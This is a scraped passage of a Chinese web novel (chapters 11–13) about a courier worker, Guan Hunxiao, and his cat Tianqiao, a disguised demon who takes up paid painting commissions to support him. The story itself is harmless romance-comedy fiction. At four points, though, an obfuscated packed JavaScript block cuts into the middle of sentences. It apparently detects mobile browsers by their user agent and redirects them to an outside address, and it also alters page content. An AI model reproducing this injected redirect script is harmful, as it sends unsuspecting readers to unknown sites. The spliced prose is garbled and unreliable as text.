今天正好有机会,他领着天窍从街头逛到街尾,即将走出路口的时候,在转角处发现了一家宠物用品店,旁边还倚着一间宠物医院。 观昏晓忽然想起天窍还没打过疫苗,停下步子,低头看向脚边的猫。 它悠闲地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810514|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 勾着尾巴,小小一只却神气十足,阳光洒在身上,照得它浑身毛发蓬松微炸,日光流转过油黑发亮的绒毛末端,衬得它像一株发光的黑色蒲公英,琉璃般的眼珠色泽褪淡,平静注视着身前的一切,从容且淡定。 是物似主人形的缘故吗?观昏晓总觉得天窍某些时候流露的气质与自己很像。 “喵?” 察觉他的目光,天窍不解地仰脸望了过去,眨眨眼,眼尾飞翘的“眼线”将一双圆眼勾勒得慧黠灵性,让他恍惚以为自己在与人——与同龄甚至略微年长的人对视。 观昏晓向来感觉至上,不会忽略任何一闪而逝的灵光,于是蹲下/身搔搔天窍的下巴,笑眯眯道:“天窍,来都来了,要不我们进去把之前没打的疫苗补上?” 猝不及防下听到这话,天窍的耳朵像兔子似的竖起,身体微微后仰,双目圆瞪,呈现出一种条件反射的排斥与警惕。 “我想想啊……国内的猫疫苗一般有猫杯状病毒、猫孢疹病毒、猫瘟、狂犬病疫苗几种,我们先……诶,你跑什么?” 观昏晓话还没说完,天窍便毫不犹豫地扭头飞跑,跑路速度起步三十迈,几乎化成一道黑色的闪电,肉眼只能捕捉到它冲刺瞬间的残影,再一眨眼,它就已经跑得不见踪影。 观昏晓愣了愣,回过神来后不由得笑了一声,也不急着找猫,双手插兜,慢悠悠地往前踱步。 没过几秒,前方拐弯处冒出一颗猫头,天窍皱着眉看他,嘴巴微鼓,胡子都是歪的,也不知道是生气还是苦恼。 观昏晓溜达过去,与它对视片刻,散漫又痞气地一笑:“不想打疫苗?” 天窍摇头摇出了残影。 “行,不打就不打。”观昏晓将它提溜到肩上,顺手弹它耳朵,压低了声音:“我再说一遍,建国之后不许成精,咱们在外面的时候悠着点,嗯?” 天窍偏头望进他的眼睛,形状姣好的眼皮半遮着深静无波的眼波,那里除了笑意更别有深意,不止是开玩笑。 ——可我明明是建国前成的精。 在心里咕哝一句,天窍弯起眼,可可爱爱地蹭了蹭他的脸颊。 “喵喵喵!” 听出它叫声的答应意味,观昏晓用力揉它脑袋:“真乖。” 一人一猫黏黏糊糊地继续往家走,进入那片熟悉的紫穗槐荫时,看见了常到巷子里收瓶瓶罐罐的那位拾荒老人。 这次她没背那只仿佛能装下整个世界的绿色编织袋,手里也没提其他杂物,只拿着一块虾饼,坐在树荫底下的长椅上,自己吃面饼,挑出里面的虾喂给身边的猫。 那是一只玳瑁,养得很好,干干净净毛发顺滑,坐姿端正又优雅,习惯性地微抬下巴,显得很是矜傲。 玳瑁性格多温柔,这只却是个意外,看什么都一脸冷漠,唯独在看向老人时会温和一些。 老人喂它吃虾,它会用肉垫轻轻地推回去,爪子也好好收着,实在拗不过了才会低头接过,然后蹭蹭老人手指表示感谢,嚼虾都嚼得矜贵万分。 阳光穿过树荫,打下半明半暗的光影,将她们勾勒得如同油画。 观昏晓指着玳瑁:“大家闺秀。” 又扭头与天窍对视:“煤球。” “……唔喵!” 11. 出门 “奶奶,来,这些瓶子给你。” 旁边屋子里跑出一个高中生,右耳戴着耳机,一手手机一手塑料袋,袋里装着十几个饮料瓶,手机屏幕上的游戏角色停在战圈旁,底下的队友问候三秒一刷新。 “谢谢孩子,要不要吃虾饼?奶奶多买了几个。”老人家拉着少年的手,树皮般枯皱的脸露出和蔼的笑容。 高中生将瓶子放下,看一眼老人递过来的虾饼,挑出最小的一个一口包下,含含糊糊地笑道:“谢谢奶奶,好吃!您坐吧,我回屋去了。” “好,好。”老人连连点头,慢慢松开了手。 观昏晓从巷口走出来,见状,也把手里的几个饮料瓶塞进那只塑料袋,扶着老人坐下。 他们算半个熟人,老人也不同他客气,笑吟吟地抚着玳瑁的脑袋,好奇地看向趴在他肩头的天窍:“小晓,你也养猫啦?以前不是说自己都难养,懒得照顾这样的小东西吗?” “缘分到了,没办法。”观昏晓耸肩,垂眼与玳瑁对视,“婆婆,它好像不是你之前养的那只猫?” 天窍循着他的话语看去,在同玳瑁对上眼神的刹那,它愣了愣,眯起眼若有所思。 老人脸上的笑意淡了一些,眼底涌出怀念:“它不是,它是秋霜的孩子。我们家秋霜生了三只,最后只活了它一个。” 老人家叫李秋月,住在离这里不远的老旧安居房,中年丧夫,老年丧女,又是远嫁而来,亲戚朋友都不在身边,只能以拾荒和邻居接济为生,日子过得清苦。 秋霜是她女儿生前养的一只玳瑁,女儿去世后一直被她带在身边,与她相依为命。 观昏晓见过它几次,是很通人性的一只猫。它年纪不大,但身体不好,平时喜欢趴在门口晒太阳,直到老太太回家才会挪一挪腿,陪她慢慢走回屋子。 他没有问秋霜是怎么走的,只看着那只小玳瑁说:“它长得很像她妈妈。” “嗯。”老太太点头,眼角浮起细密的笑纹,“今天是它生日,我陪它出来逛逛,顺带让它认一认路。小晓啊,以后我要是不在了,你替我关照点它。” 观昏晓认真应下:“我会的婆婆,你放心。” 两人略坐了坐,李婆婆便起身离开。 她躬着腰提着塑料袋,一步一步走向阳光倾泻的地方。小玳瑁跟在她身侧,两道影子一长一短地依偎在她们脚边,慢慢就走得看不见了。 观昏晓感慨道:“我老了大抵也是这副模样,就是不知道那时你还在不在。唉,还是得趁年轻抓紧攒钱,不然老了该养不起你了。” 说着,他点点天窍的鼻子,大步迈向家的方向。 观昏晓无意间的一句话却说进了天窍心里,它思考了大半天,当晚彻夜无眠,直到天蒙蒙亮,它趴在枕边,看着浅淡的日光将观昏晓的侧脸勾勒出一层绒绒毛边,突然福至心灵,茅塞顿开。 爱人如养花,最重要的是用心。 天窍想,它知道自己该用什么方式养这个人了。 “天窍……天窍?” 一早醒来,观昏晓枕边空无一猫——天窍不见了,门口一簇沾着露水的野花显示它刚离开不久。 他在家里转了两圈,把仓库和鸟窝翻了两遍,连鱼缸底下都找过了,除了收获锦鲤的一记甩尾溅浪绝招,一根猫毛都没看见。 眼看就快要迟到,观昏晓只能拜托王阿姨帮自己看着点,要是见到天窍回家就给他打个电话,说完就着急忙慌地赶去上班了,共享单车的脚蹬子差点没给他蹬成风火轮。 今天是网点月终盘点的时间,观昏晓有不少报表要对,仓库中积压的包裹也要全部处理掉,该清退的清退,能派送的派送,已经损坏并赔付过的便就地销毁,算下来琐事一堆。 他忙起来就忘了天窍的事,一上午没歇过,连口水都没时间喝。 好不容易弄完所有事情,他打开手机一看——下午两点二十,王阿姨没打电话。 他无奈地擦了把汗水:“这个天窍,等它回来我要跟它立立规矩,下次出远门必须报备,偷偷走也得给我留个纸条……嗯,摁猫爪印那种。” 观昏晓正咕哝着,门外忽然飘来一阵臭豆腐的芬芳,咸鲜油香混着冲鼻的油泼辣子味,一下盖过他刚喷不久的空气清新剂。 一个瘦瘦高高,容貌秀气的青年端着装有臭豆腐的纸碗走到前台,黑白分明的眼睛扫视四周,看见观昏晓后微微一笑。 “你好,我来寄东西。” 说着,他用竹签叉起一块臭豆腐放入口中。 观昏晓看了看他除了臭豆腐就啥也没提的手,开玩笑道:“你要寄什么?这碗臭豆腐吗?” 青年轻笑,优雅地蹭掉嘴角的干辣椒,反手从身后一抓,变戏法似的掏出了一只木盒。 木盒不大,方方正正还刷了红漆,挂着个黄铜仿古锁,隐隐散发出醇厚的木香,冲淡臭豆腐那霸道的香味。 观昏晓还来不及惊讶,就被这股略显熟悉的味道带进久远的回忆。 印象里母亲身上也有这样的气味,不是香水,不是熏香,而是在老书堆积的旧木屋里待得久了,自然沾染到的气息。 只是母亲沾到的那种味道很“旧”,而木盒上的香气却令他觉得很“新”。 观昏晓迟疑了一下:“先生,麻烦你把盒子打开,我需要检查里面有没有放着违禁物品。” “好。这是规定,我理解。” 青年自说自话地给自己解释一句,放下纸碗,将竹签干净的那头扎进锁孔,一勾一翘,那只看着十分严密的古锁便“咔哒”一声分开。 观昏晓眼睛一眨不眨地看着他拿下锁头,掀开盖子,露出叠放在其中的绢帛。 绢帛洁白,边沿稍稍泛着焦黑,有一角被烧卷了,外翻的位置画着一截竹节。 “这个要展开吗?”青年问。 “如果方便的话。” 青年不置可否,却把木盒搁在桌面上,拈起绢帛两角轻轻抖开,展露出帛画全貌。 观昏晓不了解古玩,却在看见帛画的瞬间隐隐猜到这可能是件古物。 画中有几杆萧疏墨竹,两三点山石,却营造出压抑肃杀的氛围,仿佛风雨欲来时躺在没有遮蔽的高处看阴云密布的天空,给人一种喘不上气来的恐惧感。 观昏晓脱口而出:“这是古董吧?” “是也不是。”青年将画放好,重新上锁,“画是古董,那张绢帛不是。” 这个形容略显古怪,观昏晓忖了忖:“那画是临摹上去的?” 闻言,青年定定注视他几秒,在他感觉摸不着头脑时笑了笑,在“你”字上加了重音:“嗯,你可以这么理解。” 观昏晓仍然觉得他的话怪异,但确认了不是古董,打包的动作就松弛多了。 他裁了两张合适大小的泡沫垫盖在木盒表面,外面再加两层气泡纸裹住,用胶带严严实实地缠紧,最后放进厚纸箱封口。 “打包费三块,是箱子的钱。”将箱子放上电子秤,观昏晓麻利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810515|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地走起了收寄的流程,“你先扫码下单,手机上如果有收件人地址,复制下来粘贴到上面的框里,点智能识别就行。对了,你要不要保价?” “保吧,保两万。”青年随口道,“下好了,之后呢?” 观昏晓拿起扫描仪,扫了一下他手机屏幕上的条形码:“稍等。寄到北平的话,两公斤邮费是25块,额外加收50块保价费、3块打包费,一共78。” “怎么付?” “付款码给我。” 扫钱、打单、贴单,一气呵成,观昏晓在纸箱正面写上龙飞凤舞的“保价”二字,扬声道:“好了,你……” 青年的手突然抓上来,握住观昏晓的手腕,眼底一片认真:“我叫凌洛,请问你可以给我个联络方式吗?” “……啊?” 观昏晓愣愣地看着他,还未反应过来发生了什么,眼前蓦的掠过一道黑光,黑光里探出五道锋锐的寒芒,凛凛抓向凌洛的手。 凌洛猛然缩手,动作却仍然比那寒芒慢了一步,锋利的爪尖划过他的手背,幸而只抓破了点皮,留下几道白痕,没有出血。 “天窍!” 观昏晓嘴比脑子快,轻喝出声的同时伸手按住面前的黑影,将弓着腰蓄势待发的黑毛团子压趴下去,猝不及防地在桌面上摊成了一张猫饼。 天窍的表情还停留在龇牙瞪眼凶神恶煞上,喉咙里呼噜出威胁的低吼声,眼里却一片懵,显然没想到自己会这么容易就被摁趴下。 “你……噗。” 青年……凌洛看看它,眨眨眼,再看看观昏晓,再眨眨眼,脸上开始画三分茫然三分惊愕四分想笑又不敢笑的扇形图,一开口就发出车胎漏气般的笑声,连忙咬紧牙关闭上嘴。 观昏晓回过神来,松了手上的力道,顺势抱起还在发怔的天窍,安抚地挠挠它的下巴,再把它揣进工装胸前的口袋。 “抱歉,这是我家的猫,年纪小不懂事儿,你多包涵。” 观昏晓把形容熊孩子的那套利利索索地套在天窍头上,不等冤种客人回话,又抓过他的手查看伤情,用热心群众似的口吻道:“您没事吧?我看看我看看……哦,还好,只是蹭破了一点皮,没见血,不用打狂犬疫苗。您要是不放心,我这里有香皂和碘伏,你拿香皂搓一搓伤口,再抹点碘伏,不会有事的。” 天窍挣扎着从口袋里支楞出个脑袋,瞧见他握着凌洛的手喋喋不休,嘴一撇,眼一凛,握紧了蠢蠢欲动的爪子。 凌洛接收到它的眼神警告,立马挣开观昏晓的手并后退三步,礼貌地笑道:“我没事,刚才是我唐突了。家猫护主,我能理解。” “那……” “联络方式……就不用了。”凌洛压制着微微抽动的脸部肌肉,努力维持正常的笑脸,“其实我是想说加个微信,或者留个电话,以后寄东西能方便点……算了,以后再说吧。” “啊……”观昏晓不信,但还是顺坡下驴,“我有投递员电话,你要吗?” 凌洛笑了笑:“不,我下次还要来店里寄。” “……行。” 花钱的是大爷,虽然大爷奇奇怪怪且说话前后矛盾,但他愿意送业绩,那就是好大爷。 送走凌洛大爷,观昏晓松了口气,往椅子上一坐翘起二郎腿,捏着天窍的后颈皮把它提溜出来,搁到了腿上。 “说吧。”观昏晓垂下眼皮,长长睫毛耷拉成好看的扇形,一个人摆出了三司会审的架势,“消失这大半天是干什么去了?” 12. 画 天窍干什么去了?这事儿得从它早上起床去给观昏晓摘花说起。 祁县地处偏南,九月末的天气依旧很是湿热,许多盛夏开的不知名野花直到现在还没完全凋谢,夹杂在碧绿的草坪里,单看不起眼,攒成一束却有一种热闹感。 天窍觉得观昏晓应该会喜欢这种花,就衬着清晨花开得最好的时候跑去摘了几朵,好巧不巧,回来途中遇上了李婆婆养的那只小玳瑁。 玳瑁蹲在路中央,一双杏核眼静静凝视着天窍,明显是在等它。见它望过来,身体不动,身后的尾巴却左右扫了半圈,隐隐流露出示弱与不安。 天窍斜它一眼,留下一句“稍等”便小跑回家,将野花放在观昏晓房间门口,才又折回去。 彼时,小玳瑁已经退到路边的墙根下,蹲坐在阴影里,眺望天窍离开的方向。 见天窍上前,它便起身掉头,沿着墙根迈开优雅的步子,目的明确,直奔西面。 天窍与它保持两步距离并肩而行,两只像人一样悠悠散步的猫吸引了不少行人的视线,甚至有人拿着食物试图引诱它们,却都被它们无情忽视。 直至走进西边那片开放到一半投资商就跑路了的荒地,周围空无一人,它们的耳根子才清净下来。 “你是妖。”天窍鼻翼翕动,嗅到一股将散未散的妖气,停下脚步,“这里曾经是个妖怪窝吧?为什么带我过来?” 小玳瑁本来就不准备再向前走,回身与它相对而坐。 它张开嘴,发出温柔的猫叫:“我的母亲是妖,我是它的孩子,自然也是。它去世之前告诉我,它在这里藏了些那东西它守不住,留给我也是个祸害,让我若是碰上值得信任的同族,就送出去。” 天窍眯起眼睛,圆圆的猫瞳压得狭长,再被眼尾的线条一勾,越发显出狐狸般的机敏慧黠。 “你为什么觉得我值得信任?” 小玳瑁摇头:“不是你,是你跟着的那个人值得信任。婆婆说他是个好孩子,我昨天见了也觉得他是个好人。好人收养的猫即使是妖怪,也应该是好妖怪,哪怕以前是坏的,在他身边呆久了,也会变好。” “……” 这一通话说得头头是道条理分明,听上去如同小孩儿天真的玩笑,细细思索又觉得颇有道理,很有些大道至简的哲思。 然而天窍耳朵都不动一下:“你夸他我很高兴,但我还是要说,假如你给我的是个麻烦东西,我是不会收的。我不怕麻烦,但我不能给他招麻烦。” “好。”小玳瑁挪开几步,“从你的位置直走三百步,向下挖二十米,就能找到那个东西。如果你不愿意收,不用告诉我那是什么,重新埋起来就好。” 天窍淡淡点头,走到对应的位置,一爪按下去,身前的土层顿时下陷二十米,露出一个原先就有的空洞。 它跳下洞去,看着被沙土掩映了小半的陈旧油纸包,一股熟悉又陌生的气息萦绕其上,它还不知道里面包着什么,就生出某种近似于近乡情怯的退避感。 天窍深吸一口气,小心翼翼扒开油纸,翻出内里的物件——一块通体油黑,表面镌着金色纹路的墨锭。 这墨锭不知是用哪种材料制成,墨色光亮而丝滑,如丝绸质地,散发着温润微涩,仿佛陈年旧书书香的味道。 天窍凝视墨锭许久,喃喃道:“笔、墨、纸、砚……终于找全了。” 这是个麻烦。 但天窍庆幸发现它的人是自己。 回到当下,面对观昏晓的“质问”,天窍的应对非常简单——歪头,瞪圆双眼,半耷着耳朵,每一根头发丝都写着无辜。 观昏晓一拍额头:“我这是正经审问,这位犯猫你老实点,公堂之上不许卖萌!” “喵呜~喵~” 天窍的尾音荡漾出了波浪号,一边喵呜喵呜地撒娇一边用力蹭官老爷的手,双管齐下对症下药,把观老爷整得神志不清,刻意放水让他萌混过关了去。 他轻轻掐起天窍颊边的软肉:“这次就算了,下不为例。以后出门记得报备,找个显眼地方给我摁猫爪印都行,再像今天这样一声不吭地溜走大半天,我就不养你了。” 天窍仰脸蹭他鼻尖:“喵——” 知道啦,我养你也可以啊! 观昏晓气顺了,搓搓它脑袋:“吃饭没有?我也没吃。等着,我点个外卖,咱们今天吃顿好的!” “喵喵!” …… 出了快递点,凌洛大步走出几百米,转出桃李街,才抚着胸口夸张地松了口气。 在附近找了张长椅坐下,他掏出几分钟前就震个不停的手机,发现自己被拉进一个叫“特殊物种管理局分局猫猫绘画馆”的微信群,群里总共四个人,分别是他、司巍藿和林摹丑,以及一个ID为我喜欢的人心有六窍的陌生微信号。 凌洛疑惑地翻看聊天记录,看完就什么都明白了。 林摹丑:天窍先生把那位的墨带回来了。 司巍藿:真的!?它在哪里找到的? 林摹丑:你别问,你别管,总之东西是找回来了。虽说现在没人能用吧,但有它们在,咱局里就多一个底牌,这是好事。 司巍藿:嗯,这确实是好事,但和你突然拉这个小群有什么关系?猫猫绘画馆又是什么东西? 林摹丑:刚才天窍先生联络我了。他让我帮他在“绘江河”这个APP上注册画手账号,他要在上面接稿赚钱。 司巍藿:缓缓打出一个问号.jpg 林摹丑:不要怀疑,我没撒谎……我敢撒这种慌吗?他说他要养小白脸……不是,他要养心上人,画画是他唯一的一技之长,只能干这个。 林摹丑:天窍先生是……上世纪苏醒的吧,那时候他学了国画和油画,这几年在做任务的空暇时间里又学了水彩和厚涂板绘,学得都很好。 林摹丑:你别说,刚才天窍先生画了一幅水彩插画给我当例图,那画工,那用色,那笔触,真的绝了。 林摹丑:诶诶!平台审核通过了!我就说有那张插画在,通过画手申请就是手拿把掐的事! 司巍藿:无图无真相,发来朕看看。 林摹丑:[图片] 林摹丑:看,我没骗你吧? 司巍藿:……我靠。 司巍藿:天窍先生!我能当你的第一个约稿人吗?我有的是钱!@我喜欢的人心有六窍 林摹丑:本群禁止炫富,再犯踢了啊! 林摹丑:别@了,天窍先生不在线,忙着跟他的小白脸……心上人过甜蜜日子呢,接稿的事晚上再说。 凌洛点开林摹丑发的插画大图,图上的花丛姹紫嫣红,花丛中蹲着一道背影,是个六七岁的男孩,正伸手逗弄蔫巴巴地蜷缩成团的小黑猫。 画家没有画男孩的脸,但每个看到这幅画的人第一感觉就是男孩肯定在笑。 他应该长着一张秀气白净的圆脸,五官精致,有长长的睫毛,笑起来痞气又可爱。 被他逗弄的小猫会抬起头,用圆滚滚的紫色眼睛迎上他的视线,冲他叫一声,再蹭蹭他的手背。 他们会一起玩一会儿吗?还是打个照面就离开? 凌洛的思绪不由得发散得很远,好不容易收拢回来,再看这幅画,只觉得上面的色彩不是用颜料晕成,而是融化的糖果,又暖又甜。 这已经不单单是画技的出众,更涉及到画境这种玄之又玄的东西,说不出什么科学依据,但长眼睛的人一看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14810516|158591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就明白,怪不得卡画手申请卡得死严的绘江河那么快就通过了天窍的申请。 凌洛想起不就去在快递点里发生的事,以及差点抓破自己手背的那只猫爪子,由衷地叹了口气,给林摹丑发消息:我好像不小心当着天窍先生的面撩了他的心上人,不是主观意识上的撩,只是碰了下他的手,请问我还有救吗神医? 林摹丑秒回:? 林摹丑:我是扁鹊,这就是大病。治不了,没救了,等死吧。 凌洛:“……” 他现在回去跪在观昏晓面前喊大嫂还能起死回生吗? …… 晚上九点,观昏晓泡了半个小时的热水澡,泡得皮肤发皱骨质疏松,瘫在沙发上动都不想动。 天窍帮小弟们抓完老鼠回来,轻巧跳到他肚子上卧下,尾巴圈在他劲瘦的腰窝里一拍一拍,毛茸茸的触感透过薄薄的睡衣,让他深刻体会到萌宠视频里被主人刺挠的猫咪们的感受。 观昏晓揪住天窍的小尾巴,无奈道:“你现在还轻,坐我身上就坐。但以后要是长大了,长胖了,请自觉地离你现在坐的宝座远一点,不然我有九十条命都不够你祸祸的。” 天窍听如未闻,抽出尾巴甩到另一侧,继续拍他的腰。 得,亿点刺挠而已,忍着吧。 观昏晓放弃挣扎,摸出手机照常批阅各个社交平台上的“奏折”。 可往常一刷一百个奇葩话题的首页,今天的内容却出奇的一致,他几乎所有好友都转发了一个帖子:这是什么神仙插画! “神仙插画?” 观昏晓好奇地点进去,帖子一打开,那幅插画一加载出来,他就感觉自己那被帖主的几百个“啊”字污染的眼睛得到了净化。 画上逗猫的男孩与被逗的猫虽然都没有正脸,却栩栩如生,情感充沛,那种温暖而生机盎然的感觉透过屏幕泼洒开来,仿佛春日午后的阳光,晒得人又暖又懒,惬意自在。 观昏晓猛地坐起身,顾不上差点把天窍甩飞出去,顺着帖子里的链接下载了绘江河的APP,摸到画手“我喜欢的人心有六窍”的主页点了关注,然后和其他同是被引流过来的人一起在他唯一的一张例图下留言: 观黑白:太太看我!在线蹲一个稿位![声嘶力竭] 天窍看不到观昏晓的手机屏幕,见他一脸激动,疑惑地“miu”了一声。 观昏晓看也不看它,敷衍地揉了揉它的脑袋:“没事,只是看到了一个神仙画技的画手,例图绝美。他好像是个新人,主页只有一张例图,不知道稿价贵不贵……四位数以内我还是约得起的,不管了,我砸锅卖铁也要约一张!” 天窍瞪大眼睛,脸上满是错愕。 等等!它刚刚才决定画画养他,怎么会突然冒出个小妖精偷家!? 是谁!是谁画出了什么世界名画,居然把他迷成这样!? 天窍急得上蹿下跳,扒拉着观昏晓的手臂想看他说的画手是谁,但他丝毫没察觉天窍的心思,反手退出界面后扔开手机,抱住天窍搓毛。 “别闹,把我衣服扯开线了。” 观昏晓声线低沉,略带一点从胸腔中震出的回音,贴着天窍的耳廓缓缓响起,温柔磁性,涌入它耳朵的瞬间如同细密的电流蹿过它全身。 天窍身体一僵,老实了,耳尖上下抖了抖,正好从观昏晓唇瓣上擦过。 为什么在这种时候用美人计?犯规! 天窍既享受又愤愤地想,注意力被转移开还没两秒,就听见观昏晓用他那好听的声音说:“希望那个画手早点开稿,多开几个稿位,排到明年也没关系,我可以等。” 天窍:“……” 猫大爷弹出爪尖,面无表情地舔了起来。 13. 猫猫回忆 直到睡前,天窍还是闷闷不乐。 关了灯,观昏晓拉高被子躺下,侧身朝着天窍的方向,摸了摸在黑暗中几乎看不见的黑色毛线团,生着薄茧的指腹滑过它耷拉下来的薄薄耳廓。 “你心情不好,是刚才出去玩的时候遇到什么不高兴的事了?”他低声问道。 男人温和磁性的声音配合着不紧不慢的抚摸,多少安抚了一些天窍情绪。 它抬起下巴使劲蹭观昏晓的手掌,一歪头枕进掌心,轻轻“喵”了两声。 观昏晓顿了顿,胸腔里震出轻笑:“你在和我说晚安吗?” “喵呜呜~” 是赞同的语气。 观昏晓拍拍它脑袋:“嗯,晚安,做个好梦。” 天窍心一软,在心头闷了小半日的阴云因他一句话而奇妙地尽数消散,雨过天晴。 后半夜,只剩一角弯钩的下弦月挂在窗前,月光如雪,明亮皎洁。 天窍化成人身,坐在院子里作画。 低矮的画桌、纸张、笔、颜料等物品,是他等观昏晓睡着后发消息让司巍藿送来,这位误打误撞提前接触了观昏晓的土豪哥进门前哈欠连天,进门后战战兢兢,直到确认天窍心情尚可,高高提起的心才轻轻放下。 天窍哭笑不得。 他以前只是两耳不闻窗外事,一心埋头做任务,虽然少言寡语却不暴虐阴沉,究竟是怎么给这三个队友留下暴/君印象的? 嗯,一定是他们脑补太过,自己吓自己的缘故。 天窍选择性忽略了自己做任务时冷酷无情的样子。 猫的夜视能力很好,猫妖更好,天窍严格意义上不算纯血猫妖,可眼力不差,周遭黯淡的光线并不影响他落笔描绘心里那幕场景。 他想起了九年前,自己与观昏晓擦肩而过的那次短暂重逢。 那年观昏晓在读高二,正值课业最重的时节,吃住都在学校。但高墙围起的四角天地和无涯无岸的学海困不住他躁动的灵魂,每逢课间休息、傍晚饭点时间,他总要独自溜出校门,骑着向门卫大爷借来的二八大杠,在学校周边逛一圈。 祁县的夏天日头盛,风大,树荫外是一个世界,树荫内是另一个世界。 观昏晓骑车从县城中心笔直的林荫大道下过,风呼啸而至,鼓起他宽大的校服衣摆,吹开他额前略长的碎发,细碎的光斑在他脸上闪烁明灭,勾勒出隽秀清俊的质感。 然后他只停留一瞬,便潇洒离去。 这些事都是天窍之后调查到的细节,重逢的那一天他来不及想这么多,连猝不及防的讶异感也没能酝酿出来,观昏晓便从他面前骑车经过、远去。 那一年的夏日很长,天窍的梦也很长。 他一直在找的那个小小孩童,蹲在花丛里陪受伤的他聊天,喂他吃烤麻雀的男孩,已经长成他不曾设想,却仿佛早有定见的模样。 “呼——” 深夜的风声空幽寂静,吹得院里的花木簌簌作响。 天窍从回忆中惊醒、抽身,凝眸看向手下的棉浆纸。 纸张自带的纹路之间晕开深深浅浅的色彩,摹成盛夏的日光,翠绿的浓荫。渐渐收窄的道路两端有行人,有摊贩,一整个世界的喧闹里,少年骑着单车的背影悠然洒脱,被勾勒得清晰分明。 那是观昏晓盛大的少年时代,也是天窍遗憾错失的重逢。 祁县的秋夜并不潮湿,这张新鲜出炉的水彩例图很快便晾干,天窍小心翼翼将它放入透明塑料文件夹封存,拿出手机拍照。 绘江河画手频道的主要功能,司巍藿来送东西的时候给他讲解了一遍,包括各个水平的画稿定价区间和容易被忽略的常识,不复杂,他很快就编辑完了一条新动态。 但在发送之前,他突然忍不住对着输入框里那个五位数字撇了撇嘴,怒而删之,换成“9999”。 我喜欢的人心有六窍: 半夜忽有灵感敲门,遂作新图,见P1。 十月五号开稿,稿位:2。定价如下: 人物稿:单人无背景9999,带背景视复杂度12999-15999。两人及以上,每加一人固定增加600元,宠物减半。 风景稿:纯风景9999,带不刻画的小人/剪影11999-15999。 备注:真人、文字设不加价,但必须保证真人照片清晰,文字描述翔实。 天窍检查两遍,修改错字,确认无歧义无缺漏之后,点击发送。 于是他今天涨的三千多个粉丝,在凌晨四点二十分同时收到了一条推送。 绘娘娘:您喜欢的小画手发新消息啦![撒花] 画吃我:太太您这个点发动态,头发是不想要了吗? 素食蛞蝓:时间不重要,重要的是这张例图也太好看了吧!一万多点就能约到这种水平的稿子,我真的不是在做梦吗?! 今天0个人看电视:妈呀!太太你画上这个男孩子好像我第三百八十个初恋!我仿佛感受到阳光洒在我身上,清凉的风吹过我的面庞,风里响起自行车铃声的轻响,鼻尖萦绕着他衣上淡淡的清香……妈妈我又恋爱啦! 罗伯特不是机器人:你是会做看图写话的,有兴趣当小学语文家教吗? 不写日记的花骨朵:十月一号,凌晨四点二十分,晴。我爱上了一个少年,他住在画里,画长在我心里。 快乐吃猹:只有我一个人对着稿位数那个“2”字面露难色吗?到时候怎么抢啊?连点器有用吗?[迎风流泪] 天窍发完动态就下线,看也不看后台激增的消息提示。 没有红点必点强迫症就是这么潇洒。 …… 睡得早醒得就早,第二天早上六点半,观昏晓在温暖的晨光里舒舒服服地睁开了眼睛。 众所周知,当代人的手机是身体的外置器官,他也不例外,刚醒就习惯性捞过床头柜上的手机。 先看电量,嗯,充满了。 再看未读消息,微信没有,绘江河有一条关注人的推送…… 等等!关注人的推送!? 他在绘江河好像只关注了一个人吧? 观昏晓一个鲤鱼打挺翻身坐起,顾不上洗漱,先点开推送消息,就看到了他关注的小画手凌晨四点二十发的那条动态。 凌晨四点二十…… 老年人作息的观昏晓一看这个时间,眉心就泛起了睡眠不足的昏胀酸痛。 可能艺术家不需要睡眠吧。 观昏晓倚在床头,先欣赏例图十分钟,再将那几行内容来回看了几遍,对着9999这个数字直嘬牙花。 他怀疑这位小画家会读心,昨天他才说四位数以内的稿件他约得起,今天人就甩来一个最低9999的定价。 1001是四位数,9999也是四位数,没毛病。 观昏晓无奈地摩挲着光洁的下巴,算了算自己想约的稿件的价格,最低也要15999,不禁有些肉疼。 但肉疼归肉疼,这位画手的水平确实也值这个价,甚至与同一水平的画手对比,定价还偏低了。 绘江河是面向游戏、影视等各大领域制作公司的商业绘画、职业绘画平台,能注册到画手账号的人水平都不低,私稿最低价位在五百以上,因此画手数量不多,但使用平台的人很多,单纯看画的普通用户和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 